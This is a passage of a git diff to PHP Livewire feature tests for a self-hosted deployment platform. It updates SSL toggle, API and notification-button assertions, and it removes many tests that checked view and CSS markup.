can only be changed while the database is stopped.');++ expect(sslToggleIsDisabled($component->html()))->toBeFalse();$database->fill(['status' => 'running:healthy'])->save();- $component->call('refresh')- ->assertSee('Database should be stopped to change this settings.');+ $component->call('refresh');++ expect(sslToggleIsDisabled($component->html()))->toBeTrue();});it('shows ssl mode even when ssl is disabled, as a disabled control', function () {@@ -264,7 +279,7 @@ it('does not clobber server form text inputs when sentinel restarts', function ('name' => 'persisted-server-name',]);- $component = Livewire::test(Sentinel::class, ['server_uuid' => $server->uuid])+ $component = Livewire::test(Sentinel::class, ['server' => $server])->set('sentinelToken', 'user-was-typing-this-token');$component->call('handleSentinelRestarted', ['serverUuid' => $server->uuid]);@@ -308,10 +323,13 @@ it('shows the redis ssl gate hint after the sibling is refreshed', function () {]);$component = Livewire::test(RedisStatusInfo::class, ['database' => $database])- ->assertDontSee('Database should be stopped to change this settings.');+ ->assertSee('Encryption settings can only be changed while the database is stopped.');++ expect(sslToggleIsDisabled($component->html()))->toBeFalse();$database->fill(['status' => 'running:healthy'])->save();- $component->call('refresh')- ->assertSee('Database should be stopped to change this settings.');+ $component->call('refresh');++ expect(sslToggleIsDisabled($component->html()))->toBeTrue();});diff --git a/tests/Feature/DeploymentByUuidApiTest.php b/tests/Feature/DeploymentByUuidApiTest.phpindex 2542f3deb8..5ab447e3a4 100644--- a/tests/Feature/DeploymentByUuidApiTest.php+++ b/tests/Feature/DeploymentByUuidApiTest.php@@ -4,6 +4,7 @@ use App\Enums\ApplicationDeploymentStatus;use App\Models\Application;use App\Models\ApplicationDeploymentQueue;use App\Models\Environment;+use App\Models\InstanceSettings;use App\Models\Project;use App\Models\Server;use App\Models\Team;@@ -14,6 +15,8 @@ use Illuminate\Support\Str;uses(RefreshDatabase::class);beforeEach(function () {+ InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true]);+$this->team = Team::factory()->create();$this->user = User::factory()->create();$this->team->members()->attach($this->user->id, ['role' => 'owner']);diff --git a/tests/Feature/DeploymentHistoryFiltersTest.php b/tests/Feature/DeploymentHistoryFiltersTest.phpindex a003102020..ec7e2fb362 100644--- a/tests/Feature/DeploymentHistoryFiltersTest.php+++ b/tests/Feature/DeploymentHistoryFiltersTest.php@@ -11,7 +11,6 @@ use App\Models\Server;use App\Models\StandaloneDocker;use App\Models\Team;use Illuminate\Foundation\Testing\RefreshDatabase;-use Illuminate\Support\Facades\Blade;uses(RefreshDatabase::class);@@ -63,46 +62,6 @@ it('filters deployment history by server', function () {->and($result['deployments']->pluck('server_id')->unique()->sole())->toBe($secondServer->id);});-it('always shows source filters and includes server filters', function () {- $component = file_get_contents(app_path('Livewire/Project/Application/Deployment/Index.php'));- $view = file_get_contents(resource_path('views/livewire/project/application/deployment/index.blade.php'));- $filterComponent = file_get_contents(resource_path('views/components/table/filter.blade.php'));- $loadingComponent = file_get_contents(resource_path('views/components/table/loading.blade.php'));-- expect($component)- ->toContain('public array $serverFilterOptions = [];')- ->toContain('public array $deploymentFilters = [];')- ->toContain('public function toggleDeploymentFilter(string $filter): void')- ->toContain("'value' => \"server:{\$serverId}\"")- ->and($view)- ->toContain('@if (count($sourceFilterOptions) > 0)')- ->toContain('count($serverFilterOptions) > 0')- ->toContain('>Server</span>')- ->toContain('<x-table.filter')- ->toContain("wire:click=\"toggleDeploymentFilter('{{ \$option['value'] }}')\"")- ->toContain("in_array(\$option['value'], \$deploymentFilters, true)")- ->toContain('<x-table.loading id="deployment-table-filter-loading"')- ->not->toContain('class="size-3.5" wire:loading.remove')- ->not->toContain('<span>All deployments</span>')- ->and($filterComponent)- ->toContain('aria-multiselectable="true"')- ->toContain('Reset filters')- ->and($loadingComponent)- ->toContain('wire:loading.flex');-});--it('shows the active pull request id on the deployment filter control', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/deployment/index.blade.php'));- $filter = Blade::render(<<<'BLADE'- <x-table.filter :active-count="1" active-text="Pull request #41" reset-action="clearFilter">- Filter options- </x-table.filter>- BLADE);-- expect($view)->toContain(":active-text=\"filled(\$pull_request_id) ? 'Pull request #'.\$pull_request_id : null\"")- ->and($filter)->toContain('<span class="truncate">Pull request #41</span>');-});-it('keeps a pull request filter from the URL when it has no deployment records yet', function () {$application = Application::factory()->create();$component = new Index;diff --git a/tests/Feature/DeploymentLogsLayoutTest.php b/tests/Feature/DeploymentLogsLayoutTest.phpindex f340c98f5f..f3c61cbcf7 100644--- a/tests/Feature/DeploymentLogsLayoutTest.php+++ b/tests/Feature/DeploymentLogsLayoutTest.php@@ -42,7 +42,7 @@ beforeEach(function () {]);});-it('renders deployment logs in a full-height layout', function () {+it('renders deployment log output', function () {$deployment = ApplicationDeploymentQueue::create(['application_id' => $this->application->id,'deployment_uuid' => 'deploy-layout-test',@@ -70,167 +70,6 @@ it('renders deployment logs in a full-height layout', function () {$response->assertSuccessful();$response->assertSee('rolling update started');- $response->assertSee('logs-viewer', false);- $response->assertSee('logs-viewer-toolbar', false);- $response->assertSee('logs-viewer-search', false);- $response->assertSee('logs-viewer-actions', false);- $response->assertSee('logs-viewer-viewport', false);- $response->assertSee('logs-viewer-line', false);- $response->assertSee('min-h-[calc(100dvh-7.5rem)] flex-col', false);- $response->assertSee('flex flex-1 min-h-0 flex-col overflow-hidden', false);- $response->assertSee('h-[calc(100dvh-8rem)]', false);- $response->assertSee('xl:h-[32rem]', false);- $response->assertSee('xl:flex-none', false);-- expect($response->getContent())- ->not->toContain('max-h-[30rem]')- ->not->toContain('xl:h-[calc(100dvh-7.5rem)]')- ->not->toContain('xl:overflow-hidden')- ->not->toContain('h-[calc(100dvh-20rem)]')- ->not->toContain('deployment-logs-panel');-});--it('uses a mobile-friendly stacked logs toolbar markup', function () {- $deploymentView = file_get_contents(resource_path('views/livewire/project/application/deployment/show.blade.php'));- $sharedLogsView = file_get_contents(resource_path('views/livewire/project/shared/get-logs.blade.php'));- $appCss = file_get_contents(resource_path('css/app.css'));-- expect($deploymentView)- ->toContain('logs-viewer-toolbar')- ->toContain('logs-viewer-toolbar-controls')- ->toContain('logs-viewer-primary')- ->toContain('logs-viewer-meta')- ->toContain('logs-viewer-end')- ->toContain('logs-viewer-status-badge')- ->toContain('logs-viewer-line')- ->toContain('logs-viewer-timestamp')- ->toContain('logs-viewer-line-text')- ->toContain('livewire:project.application.deployment-navbar')- ->not->toContain('xl:h-[calc(100dvh-7.5rem)]')- ->not->toContain('xl:overflow-hidden')- ->toContain('xl:h-[32rem]')- ->toContain('xl:flex-none')- ->not->toContain('h-[calc(100dvh-20rem)]')- ->and($sharedLogsView)- ->toContain('logs-viewer-toolbar')- ->toContain('logs-viewer-toolbar-controls')- ->toContain('logs-viewer-meta')- ->toContain('logs-viewer-lines')- ->toContain('logs-viewer-actions')- ->toContain('logs-viewer-line')- ->toContain('runtime-log-columns')- ->toContain('runtime-log-detail')- ->toContain('runtime-log-empty')- ->toContain('runtime-log-loading')- ->toContain('wire:loading.flex wire:target="getLogs"')- ->toContain('wire:loading.remove wire:target="getLogs"')- ->toContain('Loading logs')- ->toContain('Logs will appear here when the container produces output.')- ->toContain('toggleLogDetails')- ->toContain('formatLogDetails')- ->toContain('aria-expanded')- ->toContain('pl-8!')- ->toContain('z-10 size-3.5')- ->and($deploymentView)- ->toContain('pl-8!')- ->toContain('z-10 size-3.5')- ->and($appCss)- ->toContain('.logs-viewer-toolbar')- ->toContain('.logs-viewer-end')- ->toContain('.logs-viewer-status-badge')- ->toContain('.logs-viewer-lines')- ->toContain('.logs-viewer-actions')- ->toContain('.logs-viewer-deployment-actions')- ->toContain('.logs-settings-section')- ->toContain('.runtime-log-columns')- ->toContain('.runtime-log-detail')- ->toContain('.runtime-log-empty')- ->toContain('.runtime-log-loading')- ->toContain('grid-template-columns: var(--runtime-log-columns)')- ->toContain(".dark .runtime-log-columns {\n background: var(--coollabs-elevated);")- ->toContain("html[data-theme=\"custom\"] .runtime-log-columns {\n background: var(--color-log-toolbar);")- ->toContain('padding: 0.5rem 0.75rem 0;')- ->toContain('padding: 0.5rem 1rem 0;')- ->toContain(".logs-viewer-viewport::after {\n content: \"\";\n flex: 0 0 2rem;")- ->toContain('flex-direction: column')- ->toContain('@media (min-width: 640px)');-- $actionsCss = str($appCss)- ->after('.logs-viewer-actions {')- ->before('}')- ->toString();-- expect($actionsCss)->not->toContain('isolation: isolate');-- $primaryGroup = str($deploymentView)- ->after('class="logs-viewer-primary"')- ->before('class="logs-viewer-end"')- ->toString();- $endGroup = str($deploymentView)- ->after('class="logs-viewer-end"')- ->before('logs-viewer-viewport')- ->toString();-- expect($primaryGroup)- ->toContain('logs-viewer-status-badge')- ->not->toContain('livewire:project.application.deployment-navbar');-- $timestampPos = strpos($primaryGroup, 'Toggle Timestamps');- $followPos = strpos($primaryGroup, 'Follow Logs');- $debugPos = strpos($primaryGroup, 'wire:click="toggleDebug"');- $fullscreenPos = strpos($primaryGroup, 'title="Fullscreen"');- $copyPos = strpos($primaryGroup, 'title="Copy Logs"');- $downloadPos = strpos($primaryGroup, 'title="Download Logs"');- $badgePos = strpos($primaryGroup, 'logs-viewer-status-badge');-- expect([$timestampPos, $followPos, $debugPos, $fullscreenPos, $copyPos, $downloadPos, $badgePos])- ->not->toContain(false)- ->and($timestampPos)->toBeLessThan($followPos)- ->and($followPos)->toBeLessThan($debugPos)- ->and($debugPos)->toBeLessThan($fullscreenPos)- ->and($fullscreenPos)->toBeLessThan($copyPos)- ->and($copyPos)->toBeLessThan($downloadPos)- ->and($downloadPos)->toBeLessThan($badgePos)- ->and($endGroup)->toContain('livewire:project.application.deployment-navbar')- ->toContain('Find in logs');-- $runtimeActionsPos = strpos($sharedLogsView, 'class="logs-viewer-actions"');- $runtimeEndPos = strpos($sharedLogsView, 'class="logs-viewer-end runtime-logs-viewer-end"');- $runtimeLinesPos = strpos($sharedLogsView, 'class="logs-viewer-lines"');- $runtimeSearchPos = strpos($sharedLogsView, 'placeholder="Find in logs"');-- expect([$runtimeActionsPos, $runtimeEndPos, $runtimeLinesPos, $runtimeSearchPos])- ->not->toContain(false)- ->and($runtimeActionsPos)->toBeLessThan($runtimeEndPos)- ->and($runtimeEndPos)->toBeLessThan($runtimeLinesPos)- ->and($runtimeLinesPos)->toBeLessThan($runtimeSearchPos)- ->and($appCss)->toContain('.runtime-logs-viewer-end')- ->toContain('.dark .runtime-log-icon-button-active')- ->toContain('background: var(--color-coollabs)')- ->toContain(".dark .runtime-log-icon-button {\n color: var(--color-fg-faint);")- ->toContain(".dark .runtime-log-icon-button-active {\n background: var(--color-coollabs);\n color: #fff;")- ->toContain(".runtime-log-toolbar {\n position: relative;\n z-index: 20;")- ->and($sharedLogsView)- ->toContain('runtime-log-icon-button order-1')- ->toContain('runtime-log-icon-button order-2')- ->toContain('runtime-log-icon-button order-5')- ->toContain('runtime-log-icon-button order-6')- ->toContain('relative order-7 shrink-0');-});--it('keeps deployment history fields and the log status badge accessible on mobile', function () {- $deploymentIndexView = file_get_contents(resource_path('views/livewire/project/application/deployment/index.blade.php'));- $appCss = file_get_contents(resource_path('css/app.css'));-- expect($deploymentIndexView)- ->toContain('deployment-table-scroll')- ->and($appCss)- ->toContain(".deployment-table-scroll {\n overflow-x: auto;")- ->toContain(".deployment-table-grid {\n min-width: 59rem;")- ->toContain("@media (min-width: 1024px) {\n .deployment-table-scroll {\n overflow-x: visible;")- ->toContain(".deployment-table-grid {\n min-width: 0;")- ->not->toContain('.deployment-table-grid > :nth-child')- ->toContain(".logs-viewer-primary .logs-viewer-actions {\n width: auto;\n flex: 1 1 auto;");});it('links deployment commit hashes to the source commit page', function () {@@ -266,71 +105,3 @@ it('links deployment commit hashes to the source commit page', function () {false,);});--it('places cancel deployment controls inside the deployment logs toolbar', function () {- $deployment = ApplicationDeploymentQueue::create([- 'application_id' => $this->application->id,- 'deployment_uuid' => 'deploy-cancel-toolbar-test',- 'server_id' => $this->server->id,- 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value,- 'logs' => json_encode([- [- 'command' => null,- 'output' => 'building image',- 'type' => 'stdout',- 'timestamp' => now()->toISOString(),- 'hidden' => false,- 'batch' => 1,- 'order' => 1,- ],- ], JSON_THROW_ON_ERROR),- ]);-- $response = $this->get(route('project.application.deployment.show', [- 'project_uuid' => $this->project->uuid,- 'environment_uuid' => $this->environment->uuid,- 'application_uuid' => $this->application->uuid,- 'deployment_uuid' => $deployment->deployment_uuid,- ]));-- $response->assertSuccessful();- $response->assertSee('Cancel deployment');- $response->assertSee('logs-viewer-end', false);- $response->assertSee('logs-viewer-deployment-actions', false);- $response->assertSee('logs-viewer-cancel-btn', false);-- $content = $response->getContent();- $toolbarPos = strpos($content, 'logs-viewer-toolbar');- $endPos = strpos($content, 'logs-viewer-end');- $viewportPos = strpos($content, 'logs-viewer-viewport');-- expect($toolbarPos)->not->toBeFalse()- ->and($endPos)->not->toBeFalse()- ->and($viewportPos)->not->toBeFalse()- ->and($endPos)->toBeGreaterThan($toolbarPos)- ->and($endPos)->toBeLessThan($viewportPos);-- // Within the right-side end group: cancel controls, then log search.- $endGroup = substr($content, $endPos, $viewportPos - $endPos);- $cancelPos = strpos($endGroup, 'Cancel deployment');- $searchPos = strpos($endGroup, 'Find in logs');-- expect($cancelPos)->not->toBeFalse()- ->and($searchPos)->not->toBeFalse()- ->and($cancelPos)->toBeLessThan($searchPos)- ->and($content)->toContain('In progress');-});--it('uses the shared mobile logs layout for proxy and sentinel log pages', function () {- $proxyLogsView = file_get_contents(resource_path('views/livewire/server/proxy/logs.blade.php'));- $sentinelLogsView = file_get_contents(resource_path('views/livewire/server/sentinel/logs.blade.php'));-- expect($proxyLogsView)- ->toContain('logs-settings-section')- ->toContain('logs-section-status-badge')- ->toContain('livewire:project.shared.get-logs')- ->and($sentinelLogsView)- ->toContain('logs-settings-section')- ->toContain('logs-section-status-badge')- ->toContain('livewire:project.shared.get-logs');-});diff --git a/tests/Feature/DevScriptExampleNginxTest.php b/tests/Feature/DevScriptExampleNginxTest.phpindex 1bd7ce3e10..2bd2a5dabf 100644--- a/tests/Feature/DevScriptExampleNginxTest.php+++ b/tests/Feature/DevScriptExampleNginxTest.php@@ -2,22 +2,30 @@use Symfony\Component\Process\Process;-it('documents example nginx connectivity commands', function () {- $process = new Process(['bash', base_path('scripts/dev.sh'), 'example-nginx', 'help'], base_path());+/*+ * The V5 `scripts/dev.sh` (including its `example-nginx` helper) was archived in+ * docs/v5/archive/scripts/dev.sh.txt and replaced by `scripts/dev`. These tests make+ * sure the current dev script does not document or wire the removed firewall CLI.+ */++it('documents dev script commands without the removed firewall commands', function () {+ $process = new Process(['bash', base_path('scripts/dev'), 'help'], base_path());$process->run();expect($process->isSuccessful())->toBeTrue()- ->and($process->getOutput())->toContain('ping')+ ->and($process->getOutput())->toContain('./scripts/dev start')->and($process->getOutput())->not->toContain('firewall up')->and($process->getOutput())->not->toContain('firewall down')->and($process->getOutput())->not->toContain('firewall-up')->and($process->getOutput())->not->toContain('firewall-down');});-it('does not wire example nginx to removed firewall CLI commands', function () {- $script = file_get_contents(base_path('scripts/dev.sh'));+it('does not wire the dev script to removed firewall CLI commands', function () {+ expect(file_exists(base_path('scripts/dev.sh')))->toBeFalse();++ $script = file_get_contents(base_path('scripts/dev'));- expect($script)->not->toContain('scripts/dev.sh firewall allow "$src" "$dst" tcp 80')- ->and($script)->not->toContain('scripts/dev.sh firewall revoke "$src" "$dst" tcp 80');+ expect($script)->not->toContain('firewall allow')+ ->and($script)->not->toContain('firewall revoke');});diff --git a/tests/Feature/DigitalOceanServerCreationTest.php b/tests/Feature/DigitalOceanServerCreationTest.phpindex 3d81a5dc97..1d9f629c38 100644--- a/tests/Feature/DigitalOceanServerCreationTest.php+++ b/tests/Feature/DigitalOceanServerCreationTest.php@@ -161,10 +161,14 @@ it('deletes the droplet when local server persistence fails', function () {&& $request->url() === 'https://api.digitalocean.com/v2/droplets/555');});-it('renders only the full width buy button at the bottom of the DigitalOcean form', function () {- Livewire::test(ByDigitalOcean::class)+it('renders only a single buy button as the DigitalOcean form action', function () {+ $html = Livewire::test(ByDigitalOcean::class)->set('current_step', 2)->assertDontSee('wire:click="previousStep"', false)- ->assertSeeHtml('class="button w-full"')- ->assertSee('Buy & Create Server', false);+ ->assertSeeHtml('class="button button-highlighted"')+ ->assertSee('Buy and create')+ ->html();++ expect(substr_count($html, 'type="submit"'))->toBe(1)+ ->and(substr_count($html, 'Buy and create'))->toBe(1);});diff --git a/tests/Feature/DnsProviderManagementTest.php b/tests/Feature/DnsProviderManagementTest.phpindex 213ec3a515..04f1d9d331 100644--- a/tests/Feature/DnsProviderManagementTest.php+++ b/tests/Feature/DnsProviderManagementTest.php@@ -302,13 +302,6 @@ test('an unchanged managed record is deleted from cloudflare and coolify', funct->and(ManagedDnsRecord::query()->find($record->id))->toBeNull();});-test('dns provider modal view always has a single root element', function () {- $providerModal = file_get_contents(resource_path('views/livewire/project/shared/dns-provider-management.blade.php'));-- expect(ltrim($providerModal))->toStartWith('<div class="contents">')- ->and($providerModal)->toContain('@if ($showDnsProviderModal)');-});-describe('domain DNS configuration after add', function () {beforeEach(function () {$this->withoutVite();diff --git a/tests/Feature/DockerImagePreviewDeploymentApiTest.php b/tests/Feature/DockerImagePreviewDeploymentApiTest.phpindex 75af6d9a67..05945dc375 100644--- a/tests/Feature/DockerImagePreviewDeploymentApiTest.php+++ b/tests/Feature/DockerImagePreviewDeploymentApiTest.php@@ -3,6 +3,7 @@use App\Models\Application;use App\Models\ApplicationPreview;use App\Models\Environment;+use App\Models\InstanceSettings;use App\Models\Project;use App\Models\Server;use App\Models\StandaloneDocker;@@ -16,6 +17,7 @@ uses(RefreshDatabase::class);beforeEach(function () {Queue::fake();+ InstanceSettings::forceCreate(['id' => 0]);$this->team = Team::factory()->create();$this->user = User::factory()->create();@@ -133,6 +135,12 @@ test('it rejects docker_tag for non docker image applications', function () {'build_pack' => 'nixpacks',]);+ ApplicationPreview::create([+ 'application_id' => $application->id,+ 'pull_request_id' => 7,+ 'pull_request_html_url' => '',+ ]);+$response = $this->withHeaders(['Authorization' => 'Bearer '.$this->bearerToken,])->postJson('/api/v1/deploy', [diff --git a/tests/Feature/DomainChipsComponentTest.php b/tests/Feature/DomainChipsComponentTest.phpindex ee4e0bc5e4..e28bd6b59e 100644--- a/tests/Feature/DomainChipsComponentTest.php+++ b/tests/Feature/DomainChipsComponentTest.php@@ -1,75 +1,5 @@<?php-test('edit domain dialogs close after saving and omit redundant cancel actions', function () {- foreach ([- resource_path('views/livewire/project/application/domains.blade.php'),- resource_path('views/livewire/project/service/domains.blade.php'),- ] as $viewPath) {- $view = file_get_contents($viewPath);-- expect($view)- ->toContain('@edit-domain-saved.window="closeEditDomain()"')- ->toContain('<x-forms.button type="submit" wire:target="updateDomain" isHighlighted>')- ->not->toContain("@click=\"closeEditDomain()\">\n Cancel");- }-});--it('provides a reusable domain chips form component', function () {- $component = file_get_contents(resource_path('views/components/forms/domain-chips.blade.php'));-- expect($component)- ->toContain('chip-input')- ->toContain('@entangle($model)')- ->toContain('class="chip"')- ->toContain('chip-remove');-});--it('uses domain chips for application public access and compose services', function () {- $blade = file_get_contents(resource_path('views/livewire/project/application/general.blade.php'));-- expect($blade)- ->toContain('x-forms.domain-chips')- ->toContain('model="fqdn"')- ->toContain(':model="$composeDomainKey"')- ->not->toContain('id="parsedServiceDomains.');-});--it('uses domain chips for service application domains and edit domain modal', function () {- $serviceIndex = file_get_contents(resource_path('views/livewire/project/service/index.blade.php'));- $editDomain = file_get_contents(resource_path('views/livewire/project/service/edit-domain.blade.php'));-- expect($serviceIndex)- ->toContain('x-forms.domain-chips')- ->toContain('model="fqdn"')- ->toContain('Make publicly available')- ->toContain('enablePublicAccess')- ->toContain('disablePublicAccess')- ->toContain("x-bind:disabled=\"!String(port ?? '').trim()\"")- ->toContain('sm:flex-row sm:items-end')- ->not->toContain('label="Make it publicly available"')- // Nested @if inside <x-forms.button> breaks Blade component compilation (ParseError endif).- ->not->toContain('@if ($canTogglePublicAccess)');-- expect($editDomain)- ->toContain('x-forms.domain-chips')- ->toContain('model="fqdn"')- ->not->toContain('id="fqdn"');-});--it('styles icon buttons with a visible hover state', function () {- $utilities = file_get_contents(resource_path('css/utilities.css'));- $resourceCard = file_get_contents(resource_path('views/livewire/project/service/resource-card.blade.php'));-- expect($utilities)- ->toContain('@utility icon-button')- ->toContain('hover:bg-neutral-100')- ->toContain('dark:hover:bg-white/[0.07]');-- expect($resourceCard)- ->toContain('class="icon-button"')- ->toContain('title="Manage domains"');-});-it('exposes enable and disable public access methods on service index', function () {$source = file_get_contents(app_path('Livewire/Project/Service/Index.php'));diff --git a/tests/Feature/EmptyStateComponentTest.php b/tests/Feature/EmptyStateComponentTest.phpindex dc2542dd71..f6716a57ba 100644--- a/tests/Feature/EmptyStateComponentTest.php+++ b/tests/Feature/EmptyStateComponentTest.php@@ -1,98 +1,5 @@<?php-it('renders the dashed empty-state card with title description and icon', function () {- $html = $this->blade(- '<x-empty title="No tags yet" description="Add a tag to group deployments." icon-name="tags" />'- );-- $html->assertSee('No tags yet')- ->assertSee('Add a tag to group deployments.')- ->assertSee('empty-state', false)- ->assertSee('border-dashed', false)- ->assertSee('min-h-80', false);-});--it('renders empty states flush with no outer inset inside settings sections', function () {- $html = $this->blade(- <<<'BLADE'- <x-application.settings-section title="Scheduled tasks" flush>- <x-empty title="No scheduled tasks"- description="Create a task to run maintenance commands."- icon-name="browser-terminal" />- </x-application.settings-section>- BLADE- );-- $html->assertSee('is-flush', false)- ->assertSee('empty-state', false)- ->assertSee('No scheduled tasks');-- $css = file_get_contents(resource_path('css/app.css'));-- expect($css)- ->toContain('.application-settings-section-body.is-flush .empty-state')- ->toContain('.application-settings-section-body:has(> .empty-state:only-child)')- ->toContain('.application-settings-section > .empty-state')- ->toMatch('/\.application-settings-section-body\.is-flush \.empty-state[\s\S]*?margin:\s*0/');-});--it('insets empty states nested inside a flush settings section wrapper', function () {- $css = file_get_contents(resource_path('css/app.css'));-- expect($css)->toContain('.application-settings-section-body.is-flush > div:has(> .empty-state:only-child)');-});--it('renders the backup executions empty state without a scrollable table', function () {- $view = file_get_contents(resource_path('views/livewire/project/database/backup-executions.blade.php'));-- expect($view)- ->toMatch('/@if \(\$executions_count === 0\)\s*<div class="p-4">\s*<x-empty size="sm" title="No backup executions"/')- ->toMatch('/@else\s*<div class="data-table deployment-table-scroll backup-executions-table-scroll">/')- ->not->toContain('@forelse ($executions as $execution)');-});--it('keeps backup execution actions compact', function () {- $css = file_get_contents(resource_path('css/app.css'));- $view = file_get_contents(resource_path('views/livewire/project/database/backup-executions.blade.php'));-- expect($css)- ->toContain('grid-template-columns: 6.5rem minmax(7rem, 0.8fr) minmax(14rem, 1.5fr) 7rem 5rem 4rem minmax(8rem, 1fr) 5rem;')- ->and($view)- ->toContain('<span class="text-right">Actions</span>')- ->toContain('class="flex items-center justify-end gap-1"')- ->not->toContain('sticky right-0')- ->toContain('title="Download backup" aria-label="Download backup"')- ->toContain('<x-reicon name="upload" class="size-3.5 rotate-180" />')- ->toContain('title="Delete backup" aria-label="Delete backup"')- ->toContain('<x-reicon name="trash" class="size-3.5" />');-});--it('uses the compact resource table styling for backup executions', function () {- $view = file_get_contents(resource_path('views/livewire/project/database/backup-executions.blade.php'));- $css = file_get_contents(resource_path('css/app.css'));-- expect($view)- ->toContain('class="data-table deployment-table-scroll backup-executions-table-scroll"')- ->toContain('data-table-header backup-executions-table-grid h-auto rounded-none px-4 py-2.5 text-[11px]')- ->toContain('data-table-row backup-executions-table-grid min-h-14 border-b border-neutral-200 px-4 py-2.5 dark:border-white/[0.06]')- ->toContain('class="backup-execution-row"')- ->toContain('flex min-h-11 items-center justify-between border-t')- ->and($css)- ->toMatch('/\.backup-executions-table-scroll\s*\{[^}]*overflow-x:\s*auto;/')- ->toMatch('/\.backup-execution-row:last-child > \.data-table-row\s*\{[^}]*border-bottom:\s*0;/')- ->toMatch('/\.backup-executions-table-grid\s*\{[^}]*gap:\s*0\.75rem;[^}]*min-width:\s*66rem;/');-});--it('renders compact size without the full-page min height class', function () {- $html = $this->blade(- '<x-empty title="No cloud tokens" description="Add a provider token." icon-name="keys" size="sm" />'- );-- $html->assertSee('No cloud tokens')- ->assertSee('min-h-44', false)- ->assertDontSee('min-h-80', false);-});-it('renders action content from both contents and actions slots', function () {$contents = $this->blade('<x-empty title="Empty" icon-name="keys"><x-slot:contents><button type="button">From contents</button></x-slot:contents></x-empty>'diff --git a/tests/Feature/EnableActionButtonsTest.php b/tests/Feature/EnableActionButtonsTest.phpindex 01639d4979..3cc044b886 100644--- a/tests/Feature/EnableActionButtonsTest.php+++ b/tests/Feature/EnableActionButtonsTest.php@@ -47,17 +47,6 @@ beforeEach(function () {Once::flush();});-it('renders settings email enable actions instead of enabled checkboxes', function () {- $view = file_get_contents(resource_path('views/livewire/settings-email.blade.php'));-- expect($view)->toContain('Enable SMTP Server')- ->and($view)->toContain('Disable SMTP Server')- ->and($view)->toContain('Enable Resend')- ->and($view)->toContain('Disable Resend')- ->and($view)->not->toContain('id="smtpEnabled" label="Enabled"')- ->and($view)->not->toContain('id="resendEnabled" label="Enabled"');-});-it('keeps transactional smtp disabled when enable validation fails', function () {actingAsEnableActionInstanceAdmin();@@ -87,19 +76,6 @@ it('enables transactional smtp only after required fields validate', function ()->and(instanceSettings()->fresh()->resend_enabled)->toBeFalse();});-it('renders notification provider enable actions instead of enabled checkboxes', function (string $view, string $enableLabel, string $checkboxSnippet) {- $contents = file_get_contents(resource_path("views/livewire/notifications/{$view}.blade.php"));-- expect($contents)->toContain($enableLabel)- ->and($contents)->not->toContain($checkboxSnippet);-})->with([- 'discord' => ['discord', 'Enable Discord', 'id="discordEnabled" label="Enabled"'],- 'slack' => ['slack', 'Enable Slack', 'id="slackEnabled" label="Enabled"'],- 'telegram' => ['telegram', 'Enable Telegram', 'id="telegramEnabled" label="Enabled"'],- 'pushover' => ['pushover', 'Enable Pushover', 'id="pushoverEnabled" label="Enabled"'],- 'webhook' => ['webhook', 'Enable Webhook', 'id="webhookEnabled" label="Enabled"'],-]);-it('shows notification provider save buttons while disabled', function (string $component) {actingAsEnableActionOwner();@@ -117,12 +93,15 @@ it('shows notification provider save buttons while disabled', function (string $it('hides notification provider test buttons while disabled and shows them when enabled', function (string $component, string $enabledProperty) {actingAsEnableActionOwner();- Livewire::test($component)- ->assertDontSee('Send Test Notification');+ // The channel actions always render "Send test"; it stays disabled until the channel is enabled.+ $sendTestButton = '/<button\s+(disabled\s+)?class="button"[^>]*\$wire\.\$call\(testMethod\)[^>]*>/';- Livewire::test($component)- ->set($enabledProperty, true)- ->assertSee('Send Test Notification');+ preg_match($sendTestButton, Livewire::test($component)->html(), $disabledMatch);+ expect($disabledMatch[1] ?? null)->not->toBeEmpty();++ preg_match($sendTestButton, Livewire::test($component)->set($enabledProperty, true)->html(), $enabledMatch);+ expect($enabledMatch)->not->toBeEmpty()+ ->and($enabledMatch[1] ?? '')->toBe('');})->with(['discord' => [Discord::class, 'discordEnabled'],'slack' => [Slack::class, 'slackEnabled'],@@ -155,20 +134,6 @@ it('keeps notification providers disabled when enable validation fails', functio'webhook' => [Webhook::class, 'toggleWebhookEnabled', 'webhookEnabled', 'webhookUrl', 'webhookNotificationSettings', 'webhook_enabled'],]);-it('renders notification email and log drain enable actions instead of enabled checkboxes', function () {- $notificationEmail = file_get_contents(resource_path('views/livewire/notifications/email.blade.php'));- $logDrains = file_get_contents(resource_path('views/livewire/server/log-drains.blade.php'));-- expect($notificationEmail)->toContain('Enable SMTP Server')- ->and($notificationEmail)->toContain('Enable Resend')- ->and($notificationEmail)->not->toContain('id="smtpEnabled"')- ->and($notificationEmail)->not->toContain('id="resendEnabled"')- ->and($logDrains)->toContain('Enable New Relic')- ->and($logDrains)->toContain('Enable Axiom')- ->and($logDrains)->toContain('Enable Custom FluentBit')- ->and($logDrains)->not->toContain('label="Enabled"');-});-it('keeps notification email smtp disabled when enable validation fails', function () {actingAsEnableActionOwner();diff --git a/tests/Feature/EnvVarInputDesignTest.php b/tests/Feature/EnvVarInputDesignTest.phpindex 9e1403f282..597a4daf9d 100644--- a/tests/Feature/EnvVarInputDesignTest.php+++ b/tests/Feature/EnvVarInputDesignTest.php@@ -1,64 +1,15 @@<?php-it('uses the current listbox design for environment variable suggestions', function () {- $view = file_get_contents(resource_path('views/components/forms/env-var-input.blade.php'));-- expect($view)- ->toContain('class="listbox-panel')- ->toContain('class="listbox-option justify-start! gap-2.5!"')- ->toContain("'bg-neutral-100 dark:bg-white/[0.08]': index === selectedIndex")- ->toContain('border-warning/25 bg-warning/10')- ->toContain('border-emerald-500/25 bg-emerald-500/10')- ->not->toContain('dark:bg-coolgray-100');-});--it('keeps the environment variable input enabled while secret manager keys load', function () {- $view = file_get_contents(resource_path('views/components/forms/env-var-input.blade.php'));-- expect($view)->toContain('wire:target.except="fetchSecretManagerKeys"');-});--it('allows secret manager key loading to retry after a failed request', function () {- $view = file_get_contents(resource_path('views/components/forms/env-var-input.blade.php'));- $failureHandler = explode('});', explode('.catch(() => {', $view, 2)[1], 2)[0];-- expect($failureHandler)- ->toContain('this.vaultKeysLoading = false;')- ->not->toContain("this.availableVars['vault'] = [];");-});-it('authorizes secret-enabled environment variable inputs at the component boundary', function () {$addView = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/add.blade.php'));$showView = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));- foreach ([$addView, $showView] as $view) {+ // Show resolves the resource through its computed `resource` property.+ foreach ([[$addView, '$resource'], [$showView, '$this->resource']] as [$view, $resourceExpression]) 